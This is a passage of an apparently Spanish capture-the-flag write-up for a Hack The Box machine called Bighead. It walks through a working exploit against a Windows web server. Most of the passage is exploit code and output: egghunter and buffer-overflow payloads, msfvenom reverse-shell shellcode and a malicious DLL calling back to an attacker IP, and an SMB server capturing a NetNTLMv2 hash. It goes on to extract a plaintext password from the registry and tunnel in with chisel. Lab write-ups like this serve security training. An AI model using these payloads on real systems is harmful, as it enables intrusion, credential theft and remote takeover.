shellcode += b"\x64\x8b\x50\x30\x8b\x52\x0c\x8b\x52\x14\x8b"  
shellcode += b"\x72\x28\x0f\xb7\x4a\x26\x31\xff\xac\x3c\x61"  
shellcode += b"\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2"  
shellcode += b"\x52\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11"  
shellcode += b"\x78\xe3\x48\x01\xd1\x51\x8b\x59\x20\x01\xd3"  
shellcode += b"\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b\x01\xd6"  
shellcode += b"\x31\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75"  
shellcode += b"\xf6\x03\x7d\xf8\x3b\x7d\x24\x75\xe4\x58\x8b"  
shellcode += b"\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c"  
shellcode += b"\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24"  
shellcode += b"\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a"  
shellcode += b"\x8b\x12\xeb\x8d\x5d\x6a\x01\x8d\x85\xb2\x00"  
shellcode += b"\x00\x00\x50\x68\x31\x8b\x6f\x87\xff\xd5\xbb"  
shellcode += b"\xf0\xb5\xa2\x56\x68\xa6\x95\xbd\x9d\xff\xd5"  
shellcode += b"\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47"  
shellcode += b"\x13\x72\x6f\x6a\x00\x53\xff\xd5\x63\x61\x6c"  
shellcode += b"\x63\x2e\x65\x78\x65\x00"

payload = egg + shellcode

content = b"POST / HTTP/1.1\r\n" + payload

shell = remote("192.168.100.5", 8008)
shell.sendline(content)
shell.close()

offset = 36
junk = b"A" * offset

jmpesp = p32(0x625012f0)

egghunter  = b""
egghunter += b"\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74"  
egghunter += b"\xef\xb8\x77\x30\x30\x74\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7"  

payload = junk + jmpesp + egghunter

content = f"HEAD /{payload.hex()} HTTP/1.1".encode()

shell = remote("192.168.100.5", 8008)
shell.sendline(content)

Al ejecutar el exploit podemos ver que abre una calculadora por lo que ha funcionado

Lo que nos queda es crear un shellcode con msfvenom que en caso de ejecutarse nos envie una reverse shell en windows a nuestro host por el puerto 443

❯ msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.10 LPORT=443 EXITFUNC=thread -f python -v shellcode  
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
Found 12 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 351 (iteration=0)
x86/shikata_ga_nai chosen with final size 351
Payload size: 351 bytes
Final size of python file: 1965 bytes
shellcode =  b""
shellcode += b"\xdb\xd8\xd9\x74\x24\xf4\x5a\x2b\xc9\xbf\x84"
shellcode += b"\x9c\x68\xea\xb1\x52\x31\x7a\x17\x83\xc2\x04"
shellcode += b"\x03\xfe\x8f\x8a\x1f\x02\x47\xc8\xe0\xfa\x98"
shellcode += b"\xad\x69\x1f\xa9\xed\x0e\x54\x9a\xdd\x45\x38"
shellcode += b"\x17\x95\x08\xa8\xac\xdb\x84\xdf\x05\x51\xf3"
shellcode += b"\xee\x96\xca\xc7\x71\x15\x11\x14\x51\x24\xda"
shellcode += b"\x69\x90\x61\x07\x83\xc0\x3a\x43\x36\xf4\x4f"
shellcode += b"\x19\x8b\x7f\x03\x8f\x8b\x9c\xd4\xae\xba\x33"
shellcode += b"\x6e\xe9\x1c\xb2\xa3\x81\x14\xac\xa0\xac\xef"
shellcode += b"\x47\x12\x5a\xee\x81\x6a\xa3\x5d\xec\x42\x56"
shellcode += b"\x9f\x29\x64\x89\xea\x43\x96\x34\xed\x90\xe4"
shellcode += b"\xe2\x78\x02\x4e\x60\xda\xee\x6e\xa5\xbd\x65"
shellcode += b"\x7c\x02\xc9\x21\x61\x95\x1e\x5a\x9d\x1e\xa1"
shellcode += b"\x8c\x17\x64\x86\x08\x73\x3e\xa7\x09\xd9\x91"
shellcode += b"\xd8\x49\x82\x4e\x7d\x02\x2f\x9a\x0c\x49\x38"
shellcode += b"\x6f\x3d\x71\xb8\xe7\x36\x02\x8a\xa8\xec\x8c"
shellcode += b"\xa6\x21\x2b\x4b\xc8\x1b\x8b\xc3\x37\xa4\xec"
shellcode += b"\xca\xf3\xf0\xbc\x64\xd5\x78\x57\x74\xda\xac"
shellcode += b"\xf8\x24\x74\x1f\xb9\x94\x34\xcf\x51\xfe\xba"
shellcode += b"\x30\x41\x01\x11\x59\xe8\xf8\xf2\x6c\xe7\x0c"
shellcode += b"\x0f\x19\xf5\x10\x0e\x62\x70\xf6\x7a\x84\xd5"
shellcode += b"\xa1\x12\x3d\x7c\x39\x82\xc2\xaa\x44\x84\x49"
shellcode += b"\x59\xb9\x4b\xba\x14\xa9\x3c\x4a\x63\x93\xeb"
shellcode += b"\x55\x59\xbb\x70\xc7\x06\x3b\xfe\xf4\x90\x6c"
shellcode += b"\x57\xca\xe8\xf8\x45\x75\x43\x1e\x94\xe3\xac"
shellcode += b"\x9a\x43\xd0\x33\x23\x01\x6c\x10\x33\xdf\x6d"
shellcode += b"\x1c\x67\x8f\x3b\xca\xd1\x69\x92\xbc\x8b\x23"
shellcode += b"\x49\x17\x5b\xb5\xa1\xa8\x1d\xba\xef\x5e\xc1"
shellcode += b"\x0b\x46\x27\xfe\xa4\x0e\xaf\x87\xd8\xae\x50"
shellcode += b"\x52\x59\xde\x1a\xfe\xc8\x77\xc3\x6b\x49\x1a"
shellcode += b"\xf4\x46\x8e\x23\x77\x62\x6f\xd0\x67\x07\x6a"
shellcode += b"\x9c\x2f\xf4\x06\x8d\xc5\xfa\xb5\xae\xcf"

Nuestro script final consta de 2 etapas, la primera peticion simplemente guarda el egg seguido del shellcode en algun lugar de la memoria, la segunda desborda el buffer y al saltar al esp ejecuta el egghunter, este buscara el egg que es la cadena w00t 2 veces en la memoria y ejecutara lo que esta despues que es el shellcode

#!/usr/bin/python3
from pwn import remote, p32

egg = b"w00t" * 2

shellcode = b""
shellcode += b"\xdb\xd8\xd9\x74\x24\xf4\x5a\x2b\xc9\xbf\x84"
shellcode += b"\x9c\x68\xea\xb1\x52\x31\x7a\x17\x83\xc2\x04"
shellcode += b"\x03\xfe\x8f\x8a\x1f\x02\x47\xc8\xe0\xfa\x98"
shellcode += b"\xad\x69\x1f\xa9\xed\x0e\x54\x9a\xdd\x45\x38"
shellcode += b"\x17\x95\x08\xa8\xac\xdb\x84\xdf\x05\x51\xf3"
shellcode += b"\xee\x96\xca\xc7\x71\x15\x11\x14\x51\x24\xda"
shellcode += b"\x69\x90\x61\x07\x83\xc0\x3a\x43\x36\xf4\x4f"
shellcode += b"\x19\x8b\x7f\x03\x8f\x8b\x9c\xd4\xae\xba\x33"
shellcode += b"\x6e\xe9\x1c\xb2\xa3\x81\x14\xac\xa0\xac\xef"
shellcode += b"\x47\x12\x5a\xee\x81\x6a\xa3\x5d\xec\x42\x56"
shellcode += b"\x9f\x29\x64\x89\xea\x43\x96\x34\xed\x90\xe4"
shellcode += b"\xe2\x78\x02\x4e\x60\xda\xee\x6e\xa5\xbd\x65"
shellcode += b"\x7c\x02\xc9\x21\x61\x95\x1e\x5a\x9d\x1e\xa1"
shellcode += b"\x8c\x17\x64\x86\x08\x73\x3e\xa7\x09\xd9\x91"
shellcode += b"\xd8\x49\x82\x4e\x7d\x02\x2f\x9a\x0c\x49\x38"
shellcode += b"\x6f\x3d\x71\xb8\xe7\x36\x02\x8a\xa8\xec\x8c"
shellcode += b"\xa6\x21\x2b\x4b\xc8\x1b\x8b\xc3\x37\xa4\xec"
shellcode += b"\xca\xf3\xf0\xbc\x64\xd5\x78\x57\x74\xda\xac"
shellcode += b"\xf8\x24\x74\x1f\xb9\x94\x34\xcf\x51\xfe\xba"
shellcode += b"\x30\x41\x01\x11\x59\xe8\xf8\xf2\x6c\xe7\x0c"
shellcode += b"\x0f\x19\xf5\x10\x0e\x62\x70\xf6\x7a\x84\xd5"
shellcode += b"\xa1\x12\x3d\x7c\x39\x82\xc2\xaa\x44\x84\x49"
shellcode += b"\x59\xb9\x4b\xba\x14\xa9\x3c\x4a\x63\x93\xeb"
shellcode += b"\x55\x59\xbb\x70\xc7\x06\x3b\xfe\xf4\x90\x6c"
shellcode += b"\x57\xca\xe8\xf8\x45\x75\x43\x1e\x94\xe3\xac"
shellcode += b"\x9a\x43\xd0\x33\x23\x01\x6c\x10\x33\xdf\x6d"
shellcode += b"\x1c\x67\x8f\x3b\xca\xd1\x69\x92\xbc\x8b\x23"
shellcode += b"\x49\x17\x5b\xb5\xa1\xa8\x1d\xba\xef\x5e\xc1"
shellcode += b"\x0b\x46\x27\xfe\xa4\x0e\xaf\x87\xd8\xae\x50"
shellcode += b"\x52\x59\xde\x1a\xfe\xc8\x77\xc3\x6b\x49\x1a"
shellcode += b"\xf4\x46\x8e\x23\x77\x62\x6f\xd0\x67\x07\x6a"
shellcode += b"\x9c\x2f\xf4\x06\x8d\xc5\xfa\xb5\xae\xcf"

payload = egg + shellcode

content = b"POST / HTTP/1.1\r\n" + payload

shell = remote("dev.bighead.htb", 80)
shell.sendline(content)
shell.close()

offset = 36
junk = b"A" * offset

jmpesp = p32(0x625012f0)

egghunter  = b""
egghunter += b"\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74"  
egghunter += b"\xef\xb8\x77\x30\x30\x74\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7"  

payload = junk + jmpesp + egghunter

content = f"HEAD /{payload.hex()} HTTP/1.1".encode()

shell = remote("dev.bighead.htb", 80)

shell.sendline(content)
shell.close()

Ejecutamos el exploit y envia ambas peticiones, como resultado de explotarlo obtenemos una shell en el equipo victima como el usuario local nelson

❯ python3 exploit.py
[+] Opening connection to dev.bighead.htb on port 80: Done  
[*] Closed connection to dev.bighead.htb port 80
[+] Opening connection to dev.bighead.htb on port 80: Done  
[*] Closed connection to dev.bighead.htb port 80

❯ sudo netcat -lvnp 443
Listening on 0.0.0.0 443
Connection received on 10.10.10.112 
Microsoft Windows [Version 6.0.6002]
Copyright (c) 2006 Microsoft Corporation. All rights reserved.  

C:\nginx> whoami
piedpiper\nelson

C:\nginx>


Buffer Overflow - loadlibrary


Otra forma de explotarlo es a traves de la función LoadLibraryA que importa el dll

0:000> !py mona getiat -m bheadsvr.dll -s loadlibrary
Hold on...
[+] Command used:
!py C:\Users\user\Documents\windbg\x86\mona.py getiat -m bheadsvr.dll -s loadlibrary

---------- Mona command started on 2024-07-23 00:36:34 (v2.0, rev 636) ----------
[+] Processing arguments and criteria
    - Pointer access level : X
    - Only querying modules bheadsvr.dll
[+] Generating module info table, hang on...
    - Processing modules
    - Done. Let's rock 'n roll.
[+] Querying 1 modules
[+] Preparing output file 'iatsearch.txt'
    - (Re)setting logfile C:\mona\iatsearch.txt
    Getting IAT for bHeadSvr.dll.
    Enumerating IAT
0x625070c8 | At 0x625070c8 in bheadsvr (base + 0x000070c8) : 0x778c0ed0 (ptr to KERNEL32.loadlibrarya) - [KERNEL32] ASLR: True, Rebase: True, SafeSEH: False, CFG: True, OS: True, v10.0.22621.3672, 0x4140  

1 entries found

La función LoadLibraryA es bastante simple, solo recibe como parametro el nombre de la libreria, por lo que si la controlamos podemos cargar un dll malicioso

HMODULE LoadLibraryA(
  [in] LPCSTR lpLibFileName
);

Sin embargo para que el exploit sea lo mas pequeño posible necesitariamos enviar la cadena de la ruta smb en el stack pero entonces nuestras instrucciones no podrian estar ahi, enviemos de nuevo el poc para analizar el comportamiento

#!/usr/bin/python3
from pwn import remote

offset = 36
junk = b"A" * offset

ret = b"B" * 4
stack = b"C" * 60

payload = junk + ret + stack

content = f"HEAD /{payload.hex()} HTTP/1.1".encode()  

shell = remote("192.168.100.5", 8008)
shell.sendline(content)

Nos aprovecharemos de que el valor de retorno de la función strcpy segun documentación es un puntero al destino por lo que en eax deberiamos tener un puntero al inicio del payload, asi que podemos saltar a eax en lugar de esp

0:000> g
(3e74.4288): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=0117fb14 ebx=00000170 ecx=00d71728 edx=01000000 esi=0040194e edi=0040194e  
eip=42424242 esp=0117fb3c ebp=41414141 iopl=0         nv up ei pl zr na pe nc  
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010246  
42424242 ??              ???

0:000> db eax
0117fb14  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
0117fb24  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
0117fb34  41 41 41 41 42 42 42 42-43 43 43 43 43 43 43 43  AAAABBBBCCCCCCCC
0117fb44  43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43  CCCCCCCCCCCCCCCC
0117fb54  43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43  CCCCCCCCCCCCCCCC
0117fb64  43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43  CCCCCCCCCCCCCCCC
0117fb74  43 43 43 43 00 00 00 00-00 00 00 00 00 00 00 00  CCCC............
0117fb84  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................

Buscamos nuevamente un gadget pero ahora para saltar a eax como jmp eax

0:000> !py mona jmp -r eax -m bheadsvr.dll
Hold on...
[+] Command used:
!py C:\Users\user\Documents\windbg\x86\mona.py jmp -r eax -m bheadsvr.dll

---------- Mona command started on 2024-07-23 20:37:31 (v2.0, rev 636) ----------
[+] Processing arguments and criteria
    - Pointer access level : X
    - Only querying modules bheadsvr.dll
[+] Generating module info table, hang on...
    - Processing modules
    - Done. Let's rock 'n roll.
[+] Querying 1 modules
    - Querying module bHeadSvr.dll
    - Search complete, processing results
[+] Preparing output file 'jmp.txt'
    - (Re)setting logfile C:\mona\jmp.txt
[+] Writing results to C:\mona\jmp.txt
    - Number of pointers of type 'jmp eax' : 1 
    - Number of pointers of type 'call eax' : 6 
[+] Results : 
0x625012f2 |   0x625012f2 : jmp eax |  {PAGE_EXECUTE_READ} [bHeadSvr.dll] ASLR: False, Rebase: False, SafeSEH: False, CFG: False, OS: False, v-1.0-, 0x0
0x62501026 |   0x62501026 : call eax | ascii {PAGE_EXECUTE_READ} [bHeadSvr.dll] ASLR: False, Rebase: False, SafeSEH: False, CFG: False, OS: False, v-1.0-, 0x0
0x625010e8 |   0x625010e8 : call eax |  {PAGE_EXECUTE_READ} [bHeadSvr.dll] ASLR: False, Rebase: False, SafeSEH: False, CFG: False, OS: False, v-1.0-, 0x0
0x625012b6 |   0x625012b6 : call eax |  {PAGE_EXECUTE_READ} [bHeadSvr.dll] ASLR: False, Rebase: False, SafeSEH: False, CFG: False, OS: False, v-1.0-, 0x0
0x62501420 |   0x62501420 : call eax | asciiprint,ascii {PAGE_EXECUTE_READ} [bHeadSvr.dll] ASLR: False, Rebase: False, SafeSEH: False, CFG: False, OS: False, v-1.0-, 0x0
0x6250154f |   0x6250154f : call eax | asciiprint,ascii {PAGE_EXECUTE_READ} [bHeadSvr.dll] ASLR: False, Rebase: False, SafeSEH: False, CFG: False, OS: False, v-1.0-, 0x0
0x625015e2 |   0x625015e2 : call eax |  {PAGE_EXECUTE_READ} [bHeadSvr.dll] ASLR: False, Rebase: False, SafeSEH: False, CFG: False, OS: False, v-1.0-, 0x0
    Found a total of 7 pointers

Enviaremos la string de la ruta smb al dll en el stack por lo que nuestro payload a ejecutar es muy simple, empujamos esp para que ahora el primer dword sea un puntero a la string, luego movemos a eax la función LoadLibraryA y la llamamos

dll  = b""
dll += asm("push esp")
dll += asm("call [0x625070c8]")

Nuestro exploit ahora se ve de esta forma, en el inicio del payload enviamos las instrucciones a ejecutar, rellenamos y en el retorno saltamos a ellas, pero en el stack después del retorno se encuentra la string a la dll en el recurso smb

#!/usr/bin/python3
from pwn import remote, p32, asm

dll  = b""
dll += asm("push esp")
dll += asm("call [0x625070c8]")

offset = 36
junk = b"A" * (offset - len(dll))

jmpeax = p32(0x625012f2)

smb = b"\\\\192.168.233.129\\user\\shell.dll"

payload = dll + junk + jmpeax + smb

content = f"HEAD /{payload.hex()} HTTP/1.1".encode()  

shell = remote("192.168.100.5", 8008)
shell.sendline(content)

Ahora podemos simplemente crear una dll maliciosa que nos ejecute una calculadora, luego la compartimos a través de un recurso smb con smbserver

❯ msfvenom -p windows/exec CMD=calc.exe -f dll -o shell.dll
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload  
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 193 bytes
Final size of dll file: 9216 bytes
Saved as: shell.dll

❯ impacket-smbserver user . -smb2support
Impacket v0.11.0 - Copyright 2023 Fortra

[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Config file parsed
[*] Config file parsed

Establecemos un breakpoint en jmp eax, al ejecutar el exploit llegamos ahi y vemos que en el stack se encuentra la cadena, pero al saltar a la llamada de la función LoadLibraryA ahora en el stack no se encuentra la cadena sino un puntero a ella

0:000> bp 0x625012f2

0:000> g
Breakpoint 0 hit
eax=00f3fb14 ebx=00000174 ecx=00d3170c edx=01000000 esi=0040194e edi=0040194e
eip=625012f2 esp=00f3fb3c ebp=41414141 iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000246
bHeadSvr!EssentialFunc2+0x5:
625012f2 ffe0            jmp     eax {00f3fb14}

0:000> da esp
00f3fb3c  "\\192.168.233.129\user\shell.dll"

0:000> pc
eax=00f3fb14 ebx=00000174 ecx=00d3170c edx=01000000 esi=0040194e edi=0040194e
eip=00f3fb15 esp=00f3fb38 ebp=41414141 iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000246
00f3fb15 ff15c8705062    call    dword ptr [bHeadSvr!EssentialFunc14+0x5cf0 (625070c8)] ds:002b:625070c8={KERNEL32!LoadLibraryAStub (778c0ed0)}  

0:000> da poi(esp)
00f3fb3c  "\\192.168.233.129\user\shell.dll"

Si continuamos la ejecución carga la dll maliciosa y abre una calculadora

Nuestro exploit final seria el siguiente, guarda la referencia a nuestra ruta smb del dll en esp como argumento y ejecuta LoadLibraryA para que cargue el dll malicioso

#!/usr/bin/python3
from pwn import remote, p32, asm

dll  = b""
dll += asm("push esp")
dll += asm("call [0x625070c8]")

offset = 36
junk = b"A" * (offset - len(dll))

jmpeax = p32(0x625012f2)

smb = b"\\\\10.10.14.10\\user\\shell.dll"

payload = dll + junk + jmpeax + smb

content = f"HEAD /{payload.hex()} HTTP/1.1".encode()  

shell = remote("dev.bighead.htb", 80)
shell.sendline(content)

Creamos el dll malicioso con msfvenom para que en caso de ejecutarse nos envie una shell y lo compartimos con un servidor smb como se indica en el exploit

❯ msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.10 LPORT=443 -f dll -o shell.dll  
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 1786 bytes
Final size of dll file: 9216 bytes
Saved as: shell.dll

❯ impacket-smbserver user . -smb2support
Impacket v0.11.0 - Copyright 2023 Fortra

[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Config file parsed
[*] Config file parsed

Al enviar el exploit recibimos una petición en nuestro servidor smb del usuario nelson que carga el dll y al interpretarlo tambien recibimos una shell como este

❯ impacket-smbserver user . -smb2support
Impacket v0.11.0 - Copyright 2023 Fortra

[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Config file parsed
[*] Config file parsed
[*] Incoming connection (10.10.10.112,49188)
[*] AUTHENTICATE_MESSAGE (PIEDPIPER\Nelson,PIEDPIPER)
[*] User PIEDPIPER\Nelson authenticated successfully
[*] Nelson::PIEDPIPER:aaaaaaaaaaaaaaaa:0785c9eba0cea74625b2dac1462c6203:0101000000000000009f4868d107da01a67a6675c53e3e22000000000100100047004f0072005a005100770051004b000300100047004f0072005a005100770051004b000200100079004f006e006300420058005a0067000400100079004f006e006300420058005a00670007000800009f4868d107da010600040002000000080030003000000000000000000000000020000056912fbf6f69c4c060774a884c4dafb82c032815e7ec7c56ed6a55e7ad2225d0000000000000000000000000  
[*] Connecting Share(1:IPC$)
[*] Connecting Share(2:user)
[*] Disconnecting Share(1:IPC$)
[*] Disconnecting Share(2:user)
[*] Closing down connection (10.10.10.112,49188)
[*] Remaining connections []

❯ sudo netcat -lvnp 443
Listening on 0.0.0.0 443
Connection received on 10.10.10.112
Microsoft Windows [Version 6.0.6002]
Copyright (c) 2006 Microsoft Corporation. All rights reserved.  

C:\nginx> whoami
piedpiper\nelson

C:\nginx>


Shell - nginx


Aunque existe el archivo user.txt en el escritorio de nelson no es lo que esperamos

PS C:\Users\Nelson\Desktop> type user.txt

    .-''-.  .-------.      .---.    .-./`)     _______   .---.  .---.
  .'_ _   \ |  _ _   \     | ,_|    \ .-.')   /   __  \  |   |  |_ _|
 / ( ` )   '| ( ' )  |   ,-./  )    / `-' \  | ,_/  \__) |   |  ( ' )
. (_ o _)  ||(_ o _) /   \  '_ '`)   `-'`"`,-./  )       |   '-(_{;}_)
|  (_,_)___|| (_,_).' __  > (_)  )   .---. \  '_ '`)     |      (_,_)
'  \   .---.|  |\ \  |  |(  .  .-'   |   |  > (_)  )  __ | _ _--.   |
 \  `-'    /|  | \ `'   / `-'`-'|___ |   | (  .  .-'_/  )|( ' ) |   |
  \       / |  |  \    /   |        \|   |  `-'`-'     / (_{;}_)|   |
   `'-..-'  ''-'   `'-'    `--------`'---'    `._____.'  '(_,_) '---'
          .---.       ,-----.    ,---.  ,---.   .-''-.     .-'''-.
          | ,_|     .'  .-,  '.  |   /  |   | .'_ _   \   / _     \
        ,-./  )    / ,-.|  \ _ \ |  |   |  .'/ ( ` )   ' (`' )/`--'
        \  '_ '`) ;  \  '_ /  | :|  | _ |  |. (_ o _)  |(_ o _).
         > (_)  ) |  _`,/ \ _/  ||  _( )_  ||  (_,_)___| (_,_). '.
        (  .  .-' : (  '\_/ \   ;\ (_ o._) /'  \   .---..---.  \  :
         `-'`-'|___\ `"/  \  ) /  \ (_,_) /  \  `-'    /\    `-'  |
          |        \'. \_/``".'    \     /    \       /  \       /
          `--------`  '-----'       `---`      `'-..-'    `-...-'
                ,---------. .---.  .---.     .-''-.
                \          \|   |  |_ _|   .'_ _   \
                 `--.  ,---'|   |  ( ' )  / ( ` )   '
                    |   \   |   '-(_{;}_). (_ o _)  |
                    :_ _:   |      (_,_) |  (_,_)___|
                    (_I_)   | _ _--.   | '  \   .---.
                   (_(=)_)  |( ' ) |   |  \  `-'    /
                    (_I_)   (_{;}_)|   |   \       /
                    '---'   '(_,_) '---'    `'-..-'
                             .---.  .---.    ____       .-'''-. .---.  .---.
      .-,                    |   |  |_ _|  .'  __ `.   / _     \|   |  |_ _|
   ,-.|  \ _                 |   |  ( ' ) /   '  \  \ (`' )/`--'|   |  ( ' )
   \  '_ /  |                |   '-(_{;}_)|___|  /  |(_ o _).   |   '-(_{;}_)
   _`,/ \ _/                 |      (_,_)    _.-`   | (_,_). '. |      (_,_)
  (  '\_/ \                  | _ _--.   | .'   _    |.---.  \  :| _ _--.   |
   `"/  \  )                 |( ' ) |   | |  _( )_  |\    `-'  ||( ' ) |   |
     \_/``"                  (_{;}_)|   | \ (_ o _) / \       / (_{;}_)|   |
                             '(_,_) '---'  '.(_,_).'   `-...-'  '(_,_) '---'


PS C:\Users\Nelson\Desktop>

Mirando los procesos vemos corriendo BvSshServer que ocupa el puerto local 2020

PS C:\Users\Nelson\Desktop> Get-Process

Handles  NPM(K)    PM(K)      WS(K) VM(M)   CPU(s)     Id ProcessName
-------  ------    -----      ----- -----   ------     -- -----------
     74       4     1740       4580    54     0.02   3504 BigheadWebSvr
    118       7     4276      13140    88            1724 BssCtrl
    171       9     4472      12100    86            1632 BvSshServer
     20       1     2472       2604    23     0.11   1328 cmd
    251       7     5504       7632   107             520 csrss
    251       8     5972      12748    74            2968 dllhost
.......................................................................  

PS C:\Users\Nelson\Desktop> netstat -nat

Active Connections

  Proto  Local Address          Foreign Address        State           Offload State

  TCP    0.0.0.0:80             0.0.0.0:0              LISTENING       InHost      
  TCP    0.0.0.0:80             0.0.0.0:0              LISTENING       InHost      
  TCP    0.0.0.0:135            0.0.0.0:0              LISTENING       InHost      
  TCP    0.0.0.0:2020           0.0.0.0:0              LISTENING       InHost      
  TCP    0.0.0.0:5357           0.0.0.0:0              LISTENING       InHost      
  TCP    0.0.0.0:8018           0.0.0.0:0              LISTENING       InHost      
  TCP    0.0.0.0:8028           0.0.0.0:0              LISTENING       InHost      
....................................................................................  

PS C:\Users\Nelson\Desktop>

Usando reg podemos enumerar recursivamente registros HKLM que contengan la string password, varios de los registros que encontramos pertenecen a nginx

PS C:\Users\Nelson\Desktop> reg query HKLM /f password /t REG_SZ /s

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\kdbxfile\shell\open
    (Default)    REG_SZ    &Open with KeePass Password Safe

HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\nginx
    PasswordHash    REG_SZ    336d72676e6333205361797a205472794861726465722e2e2e203b440a  

HKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Services\nginx
    PasswordHash    REG_SZ    336d72676e6333205361797a205472794861726465722e2e2e203b440a  

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\nginx
    PasswordHash    REG_SZ    336d72676e6333205361797a205472794861726465722e2e2e203b440a  

End of search: 47 match(es) found.

PS C:\Users\Nelson\Desktop>

El valor PasswordHash de estos registros parece ser una cadena en hexadecimal, podemos decodearla usando xxd en bash pero el resultado no nos aporta nada

❯ echo 336d72676e6333205361797a205472794861726465722e2e2e203b440a | xxd -ps -r  
3mrgnc3 Sayz TryHarder... ;D

Mirando la key podemos encontrar un valor Authenticate que parece hexadecimal

PS C:\Users\Nelson\Desktop> reg query HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\nginx

HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\nginx
    Type    REG_DWORD    0x10
    Start    REG_DWORD    0x2
    ErrorControl    REG_DWORD    0x1
    ImagePath    REG_EXPAND_SZ    C:\Program Files\nssm\win32\nssm.exe
    DisplayName    REG_SZ    Nginx
    ObjectName    REG_SZ    .\nginx
    Description    REG_SZ    Nginx web server and proxy.
    DelayedAutostart    REG_DWORD    0x0
    FailureActionsOnNonCrashFailures    REG_DWORD    0x1
    FailureActions    REG_BINARY    00000000000000000000000003000000140000000100000060EA00000100000060EA00000100000060EA0000
    Authenticate    REG_BINARY    4800370033004200700055005900320055007100390055002D005900750067007900740035004600590055006200590030002D0055003800370074003800370000000000  
    PasswordHash    REG_SZ    336d72676e6333205361797a205472794861726465722e2e2e203b440a

HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\nginx\Enum
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\nginx\Parameters

PS C:\Users\Nelson\Desktop>

Al decodear esta cadena encontramos algo que parece ser una contraseña, tal vez podriamos usarla como usuario nginx para BvSshServer en el puerto 2020

❯ echo 4800370033004200700055005900320055007100390055002D005900750067007900740035004600590055006200590030002D0055003800370074003800370000000000 | xxd -ps -r  
H73BpUY2Uq9U-Yugyt5FYUbY0-U87t87

Como desde fuera no tenemos acceso crearemos un proxy tipo socks con chisel

PS C:\ProgramData> .\chisel.exe client 10.10.14.10:9999 R:socks  

❯ chisel server --reverse --port 9999
server: Reverse tunnelling enabled
server: Listening on http://0.0.0.0:9999
server: session#1: tun: proxy#R:127.0.0.1:1080=>socks: Listening  

Ahora pasando por el proxy con proxychains podemos conectarnos al puerto 2020 con ssh como el usuario nginx y la contraseña que obtuvimos de la cadena en hex

❯ proxychains -q ssh nginx@bighead.htb -p 2020
nginx@bighead.htb's password: H73BpUY2Uq9U-Yugyt5FYUbY0-U87t87  
bvshell:/$


Shell - Administrator


Aunque tenemos acceso a una bvshell bastante restringida podemos ver varios archivos interesantes que parecen ser el codigo fuente de algun servidor web

bvshell:/apps/testlink/htdocs$ ls -l
-rw-rw----   1 Administrators@BUILTIN None@PIEDPIPER        601 2018-04-14  08:07 BUYING_SUPPORT.TXT
drwxrwx---   1 Administrators@BUILTIN None@PIEDPIPER          0 2018-06-24  18:53 cfg
-rw-rw----   1 Administrators@BUILTIN None@PIEDPIPER     306612 2018-04-14  09:05 CHANGELOG
-rw-rw----   1 Administrators@BUILTIN None@PIEDPIPER        558 2018-04-14  08:07 CODE_REUSE
-rw-rw----   1 Administrators@BUILTIN None@PIEDPIPER      78934 2018-06-24  18:53 config.inc.php
-rw-rw----   1 Administrators@BUILTIN None@PIEDPIPER        183 2018-06-24  18:53 config_db.inc.php
drwxrwx---   1 Administrators@BUILTIN None@PIEDPIPER          0 2018-06-24  18:52 custom
